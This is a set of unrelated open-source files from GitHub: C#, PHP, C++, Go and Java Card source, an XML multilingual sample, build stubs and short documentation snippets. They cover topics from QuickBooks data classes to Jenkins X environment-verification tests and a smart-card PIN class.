using System.Collections.Generic; using System.Threading.Tasks; using Abp.Auditing; using AbpCompanyName.AbpProjectName.Sessions.Dto; namespace AbpCompanyName.AbpProjectName.Sessions { public class SessionAppService : AbpProjectNameAppServiceBase, ISessionAppService { [DisableAuditing] public async Task<GetCurrentLoginInformationsOutput> GetCurrentLoginInformations() { var output = new GetCurrentLoginInformationsOutput { Application = new ApplicationInfoDto { Version = AppVersionHelper.Version, ReleaseDate = AppVersionHelper.ReleaseDate, Features = new Dictionary<string, bool>() } }; if (AbpSession.TenantId.HasValue) { output.Tenant = ObjectMapper.Map<TenantLoginInfoDto>(await GetCurrentTenantAsync()); } if (AbpSession.UserId.HasValue) { output.User = ObjectMapper.Map<UserLoginInfoDto>(await GetCurrentUserAsync()); } return output; } } }
{ "pile_set_name": "Github" }
SHA256 (Test-EOL-1.5.tar.gz) = 431b289f0959f7ace0ee95fe401b0d05c93dee5d6dce0aedabbf0b53c2b1cd61 SIZE (Test-EOL-1.5.tar.gz) = 29150
{ "pile_set_name": "Github" }
<?php namespace QuickBooksOnline\API\Data; /** * @xmlNamespace http://schema.intuit.com/finance/v3 * @xmlType * @xmlName IPPDepositLineDetail * @var IPPDepositLineDetail * @xmlDefinition Product: ALL Description: Deposit detail for a transaction line. */ class IPPDepositLineDetail { /** * Initializes this object, optionally with pre-defined property values * * Initializes this object and it's property members, using the dictionary * of key/value pairs passed as an optional argument. * * @param dictionary $keyValInitializers key/value pairs to be populated into object's properties * @param boolean $verbose specifies whether object should echo warnings */ public function __construct($keyValInitializers=array(), $verbose=FALSE) { foreach($keyValInitializers as $initPropName => $initPropVal) { if (property_exists('IPPDepositLineDetail',$initPropName) || property_exists('QuickBooksOnline\API\Data\IPPDepositLineDetail',$initPropName)) { $this->{$initPropName} = $initPropVal; } else { if ($verbose) echo "Property does not exist ($initPropName) in class (".get_class($this).")"; } } } /** * @Definition Product: ALL Description: Information about the Customer or Job associated with the deposit. * @xmlType element * @xmlNamespace http://schema.intuit.com/finance/v3 * @xmlMinOccurs 0 * @xmlName Entity * @var com\intuit\schema\finance\v3\IPPReferenceType */ public $Entity; /** * @Definition Product: ALL Description: Reference to the Class for the deposit. * @xmlType element * @xmlNamespace http://schema.intuit.com/finance/v3 * @xmlMinOccurs 0 * @xmlName ClassRef * @var com\intuit\schema\finance\v3\IPPReferenceType */ public $ClassRef; /** * @Definition Product: ALL Description: Reference to an Expense account associated with the service/non-sellable item billing. * @xmlType element * @xmlNamespace http://schema.intuit.com/finance/v3 * @xmlMinOccurs 0 * @xmlName AccountRef * @var com\intuit\schema\finance\v3\IPPReferenceType */ public $AccountRef; /** * @Definition Product: ALL Description: Reference to the PaymentMethod for the deposit. * @xmlType element * @xmlNamespace http://schema.intuit.com/finance/v3 * @xmlMinOccurs 0 * @xmlName PaymentMethodRef * @var com\intuit\schema\finance\v3\IPPReferenceType */ public $PaymentMethodRef; /** * @Definition Product: ALL Description: Check number for the desposit. * @xmlType element * @xmlNamespace http://schema.intuit.com/finance/v3 * @xmlMinOccurs 0 * @xmlName CheckNum * @var string */ public $CheckNum; /** * @Definition Product: ALL Description: Type of the payment transaction. For information purposes only.[br /] * @xmlType element * @xmlNamespace http://schema.intuit.com/finance/v3 * @xmlMinOccurs 0 * @xmlName TxnType * @var com\intuit\schema\finance\v3\IPPTxnTypeEnum */ public $TxnType; /** * @Definition Product: QBO Description: Sales/Purchase tax code. For Non US/CA Companies * @xmlType element * @xmlNamespace http://schema.intuit.com/finance/v3 * @xmlMinOccurs 0 * @xmlName TaxCodeRef * @var com\intuit\schema\finance\v3\IPPReferenceType */ public $TaxCodeRef; /** * @Definition Product: QBO Description: Indicates whether the tax applicable on the line is sales or purchase * @xmlType element * @xmlNamespace http://schema.intuit.com/finance/v3 * @xmlMinOccurs 0 * @xmlName TaxApplicableOn * @var com\intuit\schema\finance\v3\IPPTaxApplicableOnEnum */ public $TaxApplicableOn; /** * @Definition Product: ALL Description: Internal use only: extension place holder for DepositDetail * @xmlType element * @xmlNamespace http://schema.intuit.com/finance/v3 * @xmlMinOccurs 0 * @xmlName DepositLineDetailEx * @var com\intuit\schema\finance\v3\IPPIntuitAnyType */ public $DepositLineDetailEx; } // end class IPPDepositLineDetail
{ "pile_set_name": "Github" }
<?xml version="1.0"?> <!DOCTYPE 週報 SYSTEM "weekly-utf-8.dtd"> <!-- 週報サンプル --> <週報> <English name="name" value="value">The world has many languages</English> <Russian name="название(имя)" value="ценность">Мир имеет много языков</Russian> <Spanish name="el nombre" value="el valor">el mundo tiene muchos idiomas</Spanish> <SimplifiedChinese name="名字" value="价值">世界有很多语言</SimplifiedChinese> <Русский название="name" ценность="value">&lt;имеет&gt;</Русский> <汉语 名字="name" 价值="value">世界有很多语言𤭢</汉语> <Heavy>&quot;Mëtæl!&quot;</Heavy> <ä>Umlaut Element</ä> <年月週> <年度>1997</年度> <月度>1</月度> <週>1</週> </年月週> <氏名> <氏>山田</氏> <名>太郎</名> </氏名> <業務報告リスト> <業務報告> <業務名>XMLエディターの作成</業務名> <業務コード>X3355-23</業務コード> <工数管理> <見積もり工数>1600</見積もり工数> <実績工数>320</実績工数> <当月見積もり工数>160</当月見積もり工数> <当月実績工数>24</当月実績工数> </工数管理> <予定項目リスト> <予定項目> <P>XMLエディターの基本仕様の作成</P> </予定項目> </予定項目リスト> <実施事項リスト> <実施事項> <P>XMLエディターの基本仕様の作成</P> </実施事項> <実施事項> <P>競合他社製品の機能調査</P> </実施事項> </実施事項リスト> <上長への要請事項リスト> <上長への要請事項> <P>特になし</P> </上長への要請事項> </上長への要請事項リスト> <問題点対策> <P>XMLとは何かわからない。</P> </問題点対策> </業務報告> <業務報告> <業務名>検索エンジンの開発</業務名> <業務コード>S8821-76</業務コード> <工数管理> <見積もり工数>120</見積もり工数> <実績工数>6</実績工数> <当月見積もり工数>32</当月見積もり工数> <当月実績工数>2</当月実績工数> </工数管理> <予定項目リスト> <予定項目> <P><A href="http://www.goo.ne.jp">goo</A>の機能を調べてみる</P> </予定項目> </予定項目リスト> <実施事項リスト> <実施事項> <P>更に、どういう検索エンジンがあるか調査する</P> </実施事項> </実施事項リスト> <上長への要請事項リスト> <上長への要請事項> <P>開発をするのはめんどうなので、Yahoo!を買収して下さい。</P> </上長への要請事項> </上長への要請事項リスト> <問題点対策> <P>検索エンジンで車を走らせることができない。(要調査)</P> </問題点対策> </業務報告> </業務報告リスト> </週報>
{ "pile_set_name": "Github" }
import CanvasRenderer from "./renderer/CanvasRenderer.js"; import Container from "./Container.js"; import KeyControls from "./controls/KeyControls.js"; import MouseControls from "./controls/MouseControls.js"; import Sprite from "./Sprite.js"; import Text from "./Text.js"; import Texture from "./Texture.js"; export default { CanvasRenderer, Container, KeyControls, MouseControls, Sprite, Text, Texture };
{ "pile_set_name": "Github" }
# Blog ### <span class="date">2019-07-11</span> Introducing pywebview 3.0 _pywebview_ has reached version 3.0 and has a number of breaking changes.<br/> [Read more](/blog/pywebview3.html)
{ "pile_set_name": "Github" }
/**************************************************************************** ** ** Copyright (C) 2015 The Qt Company Ltd. ** Contact: http://www.qt.io/licensing ** ** This file is part of Qt Creator. ** ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in ** accordance with the commercial license agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and The Qt Company. For licensing terms and ** conditions see http://www.qt.io/terms-conditions. For further information ** use the contact form at http://www.qt.io/contact-us. ** ** GNU Lesser General Public License Usage ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 or version 3 as published by the Free ** Software Foundation and appearing in the file LICENSE.LGPLv21 and ** LICENSE.LGPLv3 included in the packaging of this file. Please review the ** following information to ensure the GNU Lesser General Public License ** requirements will be met: https://www.gnu.org/licenses/lgpl.html and ** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** In addition, as a special exception, The Qt Company gives you certain additional ** rights. These rights are described in The Qt Company LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ****************************************************************************/ #include "qmljsdescribevalue.h" #include "qmljsinterpreter.h" #include "qmljscontext.h" #include "parser/qmljsast_p.h" #include <QString> namespace QmlJS { QString DescribeValueVisitor::describe(const Value *value, int depth, ContextPtr context) { DescribeValueVisitor describer(-depth, 0, 2, context); return describer(value); } DescribeValueVisitor::DescribeValueVisitor(int startDepth, int startIndent, int indentIncrement, ContextPtr context) : m_depth(startDepth), m_indent(startIndent), m_indentIncrement(indentIncrement), m_context(context) { } DescribeValueVisitor::~DescribeValueVisitor() { } QString DescribeValueVisitor::operator()(const Value *value) { if (value) value->accept(this); else dump("**NULL**"); return description(); } void DescribeValueVisitor::basicDump(const char *baseName, const Value *value, bool opensContext) { dump(QLatin1String(baseName)); dump(QString::fromLatin1("@%1").arg((quintptr)(void *)value, 0, 16)); QString fileName; int line, column; if (value && value->getSourceLocation(&fileName, &line, &column)) dump(QString::fromLatin1(" - %1:%2:%3").arg(fileName) .arg(line).arg(column)); if (opensContext) openContext(); } void DescribeValueVisitor::dump(const QString &toAdd) { m_description += toAdd; m_emptyContext = false; } void DescribeValueVisitor::dump(const char *toAdd) { m_description += QLatin1String(toAdd); m_emptyContext = false; } void DescribeValueVisitor::dumpNewline() { dump("\n"); int indent = m_indent; QString indentStr = QLatin1String(" "); while (indent > 10) { dump(indentStr); indent -= 10; } if (indent > 0) dump(indentStr.left(indent)); } void DescribeValueVisitor::openContext(const char *openStr) { dump(openStr); m_indent += m_indentIncrement; m_emptyContext = true; } void DescribeValueVisitor::closeContext(const char *closeStr) { m_indent -= m_indentIncrement; if (m_emptyContext) { dump(" "); } else if (strlen(closeStr)) { dumpNewline(); } dump(closeStr); } void DescribeValueVisitor::visit(const NullValue *value) { basicDump("NullValue", value, false); } void DescribeValueVisitor::visit(const UndefinedValue *value) { basicDump("UndefinedValue", value, false); } void DescribeValueVisitor::visit(const UnknownValue *value) { basicDump("UnknownValue", value, false); } void DescribeValueVisitor::visit(const NumberValue *value) { if (const QmlEnumValue *v = value->asQmlEnumValue()) { basicDump("QmlEnumValue", v, true); dumpNewline(); dump(QString::fromLatin1("%2, ").arg((quintptr)(void *)v) .arg(v->name())); openContext("["); foreach (const QString &key, v->keys()) { dumpNewline(); dump(key); } closeContext("]"); dumpNewline(); m_indent -= m_indentIncrement; closeContext(); } else if (const IntValue *v = value->asIntValue()) { basicDump("IntValue", v, false); } else if (const RealValue *v = value->asRealValue()) { basicDump("RealValue", v, false); } else { basicDump("NumberValue", value, false); } } void DescribeValueVisitor::visit(const BooleanValue *value) { basicDump("BooleanValue", value, false); } void DescribeValueVisitor::visit(const StringValue *value) { if (const UrlValue *v = value->asUrlValue()) basicDump("UrlValue", v, false); else basicDump("StringValue", value, false); } class PrintMembers : public MemberProcessor { public: DescribeValueVisitor &d; PrintMembers(DescribeValueVisitor &describer) : d(describer) { } bool dump(const QString &name, const Value *value) { d.dumpNewline(); d.dump(name); d.openContext(":"); value->accept(&d); d.closeContext(""); return true; } bool processProperty(const QString &name, const Value *value, const PropertyInfo &pInfo) override { d.dumpNewline(); d.dump(name); d.openContext(":"); d.dump("<"); d.dump(pInfo.toString()); d.dump(">"); d.dumpNewline(); // avoid? value->accept(&d); d.closeContext(""); return true; } bool processEnumerator(const QString &name, const Value *value) override { return dump(name, value); } bool processSignal(const QString &name, const Value *value) override { return dump(name, value); } bool processSlot(const QString &name, const Value *value) override { return dump(name, value); } bool processGeneratedSlot(const QString &name, const Value *value) override { return dump(name, value); } }; void DescribeValueVisitor::visit(const ObjectValue *value) { bool printDetail = (++m_depth <= 0 && ! m_visited.contains(value)); m_visited.insert(value); if (const ASTObjectValue *v = value->asAstObjectValue()) { basicDump("ASTObjectValue", value, printDetail); if (printDetail) { if (v->typeName()) { dumpNewline(); dump("typeName:"); dump(v->typeName()->name.toString()); } dumpNewline(); dump("defaultPropertyName:"); dump(v->defaultPropertyName()); } } else if (const FunctionValue *f = value->asFunctionValue()) { if (const ASTFunctionValue *v = f->asAstFunctionValue()) { basicDump("ASTFunctionValue", v, printDetail); if (printDetail && v->ast()) { dumpNewline(); dump("name:"); dump(v->ast()->name.toString()); } } else if (const ASTSignal *v = f->asAstSignal()) { basicDump("ASTSignal", v, printDetail); if (printDetail) { if (v->ast()) { dumpNewline(); dump("name:"); dump(v->ast()->name.toString()); } dumpNewline(); dump("slotName:"); dump(v->slotName()); } } else if (f->asFunction()) { basicDump("Function", f, printDetail); } else if (f->asMetaFunction()) { basicDump("MetaFunction", f, printDetail); } else { basicDump("FunctionValue", f, printDetail); } if (printDetail) { dumpNewline(); dump("returnValue:"); (*this)(f->returnValue()); dump("arguments:"); openContext("["); for (int i = 1; i < f->namedArgumentCount() - f->optionalNamedArgumentCount(); ++i) { dumpNewline(); (*this)(f->argument(i)); dump(" "); dump(f->argumentName(i)); } if (f->optionalNamedArgumentCount()) { dumpNewline(); dump("// optional arguments"); dumpNewline(); } for (int i = f->namedArgumentCount() - f->optionalNamedArgumentCount(); i < f->namedArgumentCount(); ++i) { dumpNewline(); (*this)(f->argument(i)); dump(" "); dump(f->argumentName(i)); } closeContext("]"); dumpNewline(); if (f->isVariadic()) dump("isVariadic: true"); } } else if (const CppComponentValue *v = value->asCppComponentValue()) { basicDump("CppComponentValue", value, printDetail); if (printDetail) { LanguageUtils::FakeMetaObject::ConstPtr metaObject = v->metaObject(); dumpNewline(); dump("metaObject:"); if (metaObject.isNull()) dump("**NULL**"); else metaObject->describe(true, m_indent + m_indentIncrement); dumpNewline(); dump("moduleName:"); dump(v->moduleName()); dumpNewline(); dump("componentVersion:"); dump(v->componentVersion().toString()); dumpNewline(); dump("importVersion:"); dump(v->importVersion().toString()); dumpNewline(); dump("defaultPropertyName:"); dump(v->defaultPropertyName()); /*QString propertyType(const QString &propertyName) const; bool isListProperty(const QString &name) const; bool isWritable(const QString &propertyName) const; bool isPointer(const QString &propertyName) const; bool hasLocalProperty(const QString &typeName) const; bool hasProperty(const QString &typeName) const;*/ } } else if (value->asJSImportScope()) { basicDump("JSImportScope", value, printDetail); } else if (value->asTypeScope()) { basicDump("TypeScope", value, printDetail); } else { basicDump("ObjectValue", value, printDetail); } if (printDetail) { if (value) { dumpNewline(); dump("className:"); dump(value->className()); dumpNewline(); dump("members:"); openContext("["); PrintMembers printMembers(*this); value->processMembers(&printMembers); closeContext("]"); dumpNewline(); dump("prototype:"); (*this)(value->prototype()); } closeContext(); } --m_depth; } void DescribeValueVisitor::visit(const FunctionValue *f) { const ObjectValue *o = f; visit(o); } void DescribeValueVisitor::visit(const Reference *value) { bool printDetail = (++m_depth <= 0 && ! m_visited.contains(value)); m_visited.insert(value); if (const ASTPropertyReference *v = value->asAstPropertyReference()) { basicDump("ASTPropertyReference", v, printDetail); if (printDetail) { if (AST::UiPublicMember *ast = v->ast()) { dumpNewline(); dump("property:"); dump(ast->name.toString()); } dumpNewline(); dump("onChangedSlotName:"); dump(v->onChangedSlotName()); } } else if (const ASTVariableReference *v = value->asAstVariableReference()) { basicDump("ASTVariableReference", v, printDetail); const AST::VariableDeclaration *var = v->ast(); if (printDetail && var) { dumpNewline(); dump("variable:"); dump(var->name.toString()); } } else if (const QmlPrototypeReference *v = value->asQmlPrototypeReference()) { basicDump("QmlPrototypeReference", v, printDetail); const AST::UiQualifiedId *qmlTypeName = v->qmlTypeName(); if (printDetail && qmlTypeName) { dumpNewline(); dump("qmlTypeName:"); dump(qmlTypeName->name.toString()); } } else if (value->asQtObjectPrototypeReference()) { basicDump("QtObjectPrototypeReference", value, printDetail); } else { basicDump("Reference", value, printDetail); } if (printDetail) { ValueOwner *vOwner = value->valueOwner(); dumpNewline(); dump(QString::fromLatin1("valueOwner@%1").arg((quintptr)(void *)vOwner, 0, 16)); if (!m_context.isNull()) { dumpNewline(); dump("referencedObject:"); const Value *refObj = m_context->lookupReference(value); openContext(); (*this)(refObj); closeContext(); } closeContext(); } --m_depth; } void DescribeValueVisitor::visit(const ColorValue *value) { basicDump("ColorValue", value, false); } void DescribeValueVisitor::visit(const AnchorLineValue *value) { basicDump("AnchorLineValue", value, false); } QString DescribeValueVisitor::description() const { return m_description; } } // namespace QmlJS
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import <ITMLKit/IKJSObject.h> #import <StoreKitUI/SKUIJSFakeXMLHTTPRequest-Protocol.h> @class IKJSXMLDocument, NSData, NSDictionary, NSHTTPURLResponse, NSString; @interface SKUIJSFakeXMLHTTPRequest : IKJSObject <SKUIJSFakeXMLHTTPRequest> { NSData *_data; NSDictionary *_performanceMetrics; NSHTTPURLResponse *_response; } - (void).cxx_destruct; @property(readonly, retain) NSString *statusText; @property(readonly) unsigned int status; @property(readonly) unsigned int responseType; @property(readonly) IKJSXMLDocument *responseXML; @property(readonly) NSString *responseText; @property(readonly) id response; @property(readonly) unsigned int readyState; @property(readonly) NSDictionary *metrics; - (id)getResponseHeader:(id)arg1; - (id)getAllResponseHeaders; - (id)initWithAppContext:(id)arg1 data:(id)arg2 URLResponse:(id)arg3 performanceMetrics:(id)arg4; @end
{ "pile_set_name": "Github" }
licenses(["notice"]) # Apache 2.0 package(default_visibility = ["//visibility:public"]) filegroup( name = "LICENSE", ) py_library( name = "flags", )
{ "pile_set_name": "Github" }
savannah.txt - How to obtain the current development source code. contrib.txt - How to contribute to lwIP as a developer. rawapi.txt - The documentation for the core API of lwIP. Also provides an overview about the other APIs and multithreading. snmp_agent.txt - The documentation for the lwIP SNMP agent. sys_arch.txt - The documentation for a system abstraction layer of lwIP.
{ "pile_set_name": "Github" }
// +build unit package verify import ( "fmt" "io/ioutil" "os" "path" "path/filepath" "testing" v12 "k8s.io/apimachinery/pkg/apis/meta/v1" v1 "github.com/jenkins-x/jx-api/pkg/apis/jenkins.io/v1" "github.com/jenkins-x/jx/v2/pkg/boot" "github.com/jenkins-x/jx/v2/pkg/cmd/clients/fake" "github.com/jenkins-x/jx/v2/pkg/cmd/opts" "github.com/jenkins-x/jx/v2/pkg/cmd/opts/step" "github.com/jenkins-x/jx/v2/pkg/cmd/testhelpers" "github.com/jenkins-x/jx/v2/pkg/config" "github.com/jenkins-x/jx/v2/pkg/helm" "github.com/jenkins-x/jx/v2/pkg/util" corev1 "k8s.io/api/core/v1" "sigs.k8s.io/yaml" "github.com/stretchr/testify/assert" ) func TestStepVerifyEnvironmentsOptions_StoreRequirementsInTeamSettings(t *testing.T) { commonOpts := opts.NewCommonOptionsWithFactory(fake.NewFakeFactory()) options := &commonOpts testhelpers.ConfigureTestOptions(options, options.Git(), options.Helm()) testOptions := &StepVerifyEnvironmentsOptions{ StepVerifyOptions: StepVerifyOptions{ StepOptions: step.StepOptions{ CommonOptions: options, }, }, } requirementsYamlFile := path.Join("test_data", "verify_environments", "default", "jx-requirements.yml") exists, err := util.FileExists(requirementsYamlFile) assert.NoError(t, err) assert.True(t, exists) bytes, err := ioutil.ReadFile(requirementsYamlFile) assert.NoError(t, err) requirements := &config.RequirementsConfig{} err = yaml.Unmarshal(bytes, requirements) assert.NoError(t, err) err = testOptions.storeRequirementsInTeamSettings(requirements) assert.NoError(t, err, "there shouldn't be any error adding the requirements to TeamSettings") teamSettings, err := testOptions.TeamSettings() assert.NoError(t, err) requirementsCm := teamSettings.BootRequirements assert.NotEqual(t, "", requirementsCm, "the BootRequirements field should be present and not empty") mapRequirements, err := config.GetRequirementsConfigFromTeamSettings(teamSettings) assert.NoError(t, err) assert.Equal(t, requirements, mapRequirements) } func TestStepVerifyEnvironmentsOptions_StoreRequirementsConfigMapWithModification(t *testing.T) { commonOpts := opts.NewCommonOptionsWithFactory(fake.NewFakeFactory()) options := &commonOpts testhelpers.ConfigureTestOptions(options, options.Git(), options.Helm()) requirementsYamlFile := path.Join("test_data", "verify_environments", "ghe", "jx-requirements.yml") exists, err := util.FileExists(requirementsYamlFile) assert.NoError(t, err) assert.True(t, exists) bytes, err := ioutil.ReadFile(requirementsYamlFile) assert.NoError(t, err) requirements := &config.RequirementsConfig{} err = yaml.Unmarshal(bytes, requirements) assert.NoError(t, err) err = options.ModifyDevEnvironment(func(env *v1.Environment) error { env.Spec.TeamSettings.BootRequirements = string(bytes) return nil }) assert.NoError(t, err) // We make a modification to the requirements and we should see it when we retrieve the ConfigMap later requirements.Storage.Logs = config.StorageEntryConfig{ Enabled: true, URL: "gs://randombucket", } testOptions := &StepVerifyEnvironmentsOptions{ StepVerifyOptions: StepVerifyOptions{ StepOptions: step.StepOptions{ CommonOptions: options, }, }, } err = testOptions.storeRequirementsInTeamSettings(requirements) assert.NoError(t, err, "there shouldn't be any error updating the team settings") teamSettings, err := testOptions.TeamSettings() assert.NoError(t, err) assert.Equal(t, requirements.Cluster.GitServer, teamSettings.GitServer, "the GitServer field should be set to the requirements.cluster.gitServer value") requirementsCm := teamSettings.BootRequirements assert.NotEqual(t, "", requirementsCm, "the BootRequirements field should be present and not empty") mapRequirements, err := config.GetRequirementsConfigFromTeamSettings(teamSettings) assert.NoError(t, err) assert.Equal(t, requirements.Storage.Logs, mapRequirements.Storage.Logs, "the change done before calling"+ "VerifyRequirementsInTeamSettings should be present in the retrieved configuration") } func Test_ReadEnvironment(t *testing.T) { origConfigRepoURL, foundConfigRepoURLEnvKey := os.LookupEnv(boot.ConfigRepoURLEnvVarName) origConfigRepoRef, foundConfigRepoRefEnvKey := os.LookupEnv(boot.ConfigBaseRefEnvVarName) defer func() { if foundConfigRepoURLEnvKey { _ = os.Setenv(boot.ConfigRepoURLEnvVarName, origConfigRepoURL) } if foundConfigRepoRefEnvKey { _ = os.Setenv(boot.ConfigBaseRefEnvVarName, origConfigRepoRef) } }() o := StepVerifyEnvironmentsOptions{} var tests = []struct { url string ref string expectError bool errorString string }{ {"https://github.com/jenkins-x/jenkins-x-boot-config", "master", false, ""}, {"https://github.com/jenkins-x/jenkins-x-boot-config", "", true, "the environment variable CONFIG_BASE_REF must be specified"}, {"", "master", true, "the environment variable CONFIG_REPO_URL must be specified"}, {"", "", true, "[the environment variable CONFIG_REPO_URL must be specified, the environment variable CONFIG_BASE_REF must be specified]"}, } for _, testCase := range tests { t.Run(fmt.Sprintf("%s-%s", testCase.url, testCase.ref), func(t *testing.T) { if testCase.url == "" { err := os.Unsetenv(boot.ConfigRepoURLEnvVarName) assert.NoError(t, err) } else { err := os.Setenv(boot.ConfigRepoURLEnvVarName, testCase.url) assert.NoError(t, err) } if testCase.ref == "" { err := os.Unsetenv(boot.ConfigBaseRefEnvVarName) assert.NoError(t, err) } else { err := os.Setenv(boot.ConfigBaseRefEnvVarName, testCase.ref) assert.NoError(t, err) } repo, ref, err := o.readEnvironment() if testCase.expectError { assert.Error(t, err) assert.Equal(t, testCase.errorString, err.Error()) } else { assert.NoError(t, err) assert.Equal(t, testCase.url, repo) assert.Equal(t, testCase.ref, ref) } }) } } func Test_ModifyPipelineGitEnvVars(t *testing.T) { origGitAuthorName, foundGitAuthorName := os.LookupEnv(gitAuthorNameEnvKey) origGitAuthorEmail, foundGitAuthorEmail := os.LookupEnv(gitAuthorEmailEnvKey) origGitCommitterName, foundGitCommitterName := os.LookupEnv(gitCommitterNameEnvKey) origGitCommitterEmail, foundGitCommitterEmail := os.LookupEnv(gitCommitterEmailEnvKey) defer func() { if foundGitAuthorName { _ = os.Setenv(gitAuthorNameEnvKey, origGitAuthorName) } if foundGitAuthorEmail { _ = os.Setenv(gitAuthorEmailEnvKey, origGitAuthorEmail) } if foundGitCommitterName { _ = os.Setenv(gitCommitterNameEnvKey, origGitCommitterName) } if foundGitCommitterEmail { _ = os.Setenv(gitCommitterEmailEnvKey, origGitCommitterEmail) } }() dir, err := ioutil.TempDir("", "modify-pipeline-git-env-vars-") assert.NoError(t, err) defer func() { err := os.RemoveAll(dir) assert.NoError(t, err) }() testDir := path.Join("test_data", "verify_environments", "pipeline_git_env_vars") exists, err := util.DirExists(testDir) assert.NoError(t, err) assert.True(t, exists) err = util.CopyDir(testDir, dir, true) assert.NoError(t, err) o := StepVerifyEnvironmentsOptions{} err = o.modifyPipelineGitEnvVars(dir) assert.NoError(t, err) parameterValues, err := helm.LoadParametersValuesFile(dir) assert.NoError(t, err) expectedUsername := util.GetMapValueAsStringViaPath(parameterValues, "pipelineUser.username") expectedEmail := util.GetMapValueAsStringViaPath(parameterValues, "pipelineUser.email") assert.NotEqual(t, "", expectedUsername, "should not have empty expected username") assert.NotEqual(t, "", expectedEmail, "should not have empty expected email") newGitAuthorName, _ := os.LookupEnv(gitAuthorNameEnvKey) newGitAuthorEmail, _ := os.LookupEnv(gitAuthorEmailEnvKey) newGitCommitterName, _ := os.LookupEnv(gitCommitterNameEnvKey) newGitCommitterEmail, _ := os.LookupEnv(gitCommitterEmailEnvKey) assert.Equal(t, expectedUsername, newGitAuthorName) assert.Equal(t, expectedUsername, newGitCommitterName) assert.Equal(t, expectedEmail, newGitAuthorEmail) assert.Equal(t, expectedEmail, newGitCommitterEmail) confFileName := filepath.Join(dir, config.ProjectConfigFileName) projectConf, err := config.LoadProjectConfigFile(confFileName) assert.NoError(t, err) pipelineEnv := projectConf.PipelineConfig.Pipelines.Release.Pipeline.Environment assert.Equal(t, expectedUsername, pipelineEnvValueForKey(pipelineEnv, gitAuthorNameEnvKey)) assert.Equal(t, expectedUsername, pipelineEnvValueForKey(pipelineEnv, gitCommitterNameEnvKey)) assert.Equal(t, expectedEmail, pipelineEnvValueForKey(pipelineEnv, gitAuthorEmailEnvKey)) assert.Equal(t, expectedEmail, pipelineEnvValueForKey(pipelineEnv, gitCommitterEmailEnvKey)) } func Test_getEnvironmentURLTemplate(t *testing.T) { var tests = []struct { name string cfg *config.EnvironmentConfig expectedTemplate string }{ {"Default Template Test", &config.EnvironmentConfig{}, config.ExposeDefaultURLTemplate}, {"Custom Template Test", &config.EnvironmentConfig{URLTemplate: "NewTemplate"}, "NewTemplate"}, } for _, test := range tests { t.Run(test.name, func(t *testing.T) { assert.Equal(t, test.expectedTemplate, getEnvironmentURLTemplate(test.cfg), "The returned template should be the expected based on input") }) } } func Test_getEnvironmentExposer(t *testing.T) { commonOpts := opts.NewCommonOptionsWithFactory(fake.NewFakeFactory()) options := &commonOpts testhelpers.ConfigureTestOptions(options, options.Git(), options.Helm()) testOptions := &StepVerifyEnvironmentsOptions{ StepVerifyOptions: StepVerifyOptions{ StepOptions: step.StepOptions{ CommonOptions: options, }, }, } requirementsYamlFile := path.Join("test_data", "verify_ingress", "exposer", "jx-requirements.yml") exists, err := util.FileExists(requirementsYamlFile) assert.NoError(t, err) assert.True(t, exists) bytes, err := ioutil.ReadFile(requirementsYamlFile) assert.NoError(t, err) requirements := &config.RequirementsConfig{} err = yaml.Unmarshal(bytes, requirements) assert.NoError(t, err) environment := &v1.Environment{ ObjectMeta: v12.ObjectMeta{ Name: "dev", }, } valuesConfig, err := testOptions.createEnvironmentHelmValues(requirements, environment) assert.NoError(t, err) assert.Equal(t, "Route", valuesConfig.ExposeController.Config.Exposer, "the configured helm values should contain Route") } func pipelineEnvValueForKey(envVars []corev1.EnvVar, key string) string { for _, entry := range envVars { if entry.Name == key { return entry.Value } } return "" }
{ "pile_set_name": "Github" }
/* * GidsApplet: A Java Card implementation of the GIDS (Generic Identity * Device Specification) specification * https://msdn.microsoft.com/en-us/library/windows/hardware/dn642100%28v=vs.85%29.aspx * Copyright (C) 2016 Vincent Le Toux([email protected]) * * It has been based on the IsoApplet * Copyright (C) 2014 Philip Wendland ([email protected]) * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ package com.mysmartlogon.gidsApplet; import javacard.framework.ISO7816; import javacard.framework.ISOException; import javacard.framework.OwnerPIN; import javacard.framework.PIN; /** * \brief The GidsPIN class. * */ public class GidsPIN extends OwnerPIN implements PIN { private byte currentPINLen = 0; private byte minPINSize = 0; private byte maxPINSize = 0; private byte tryLimit = 0; public GidsPIN(byte tryLimit, byte maxPINSize, byte minPINSize) { super(tryLimit, maxPINSize); this.maxPINSize = maxPINSize; this.tryLimit = tryLimit; this.minPINSize = minPINSize; } public byte GetCurrentPINLen() { return currentPINLen; } public byte GetMinPINSize() { return minPINSize; } public byte GetMaxPINSize() { return maxPINSize; } public void CheckLength(byte len) { if (len < minPINSize || len > maxPINSize) { ISOException.throwIt(ISO7816.SW_WRONG_LENGTH); } } public void setAsAuthenticated() { this.setValidatedFlag(true); } public void update(byte[] pin, short offset, byte length) { super.update(pin, offset, length); currentPINLen = length; } public byte getTryLimit() { return tryLimit; } }
{ "pile_set_name": "Github" }
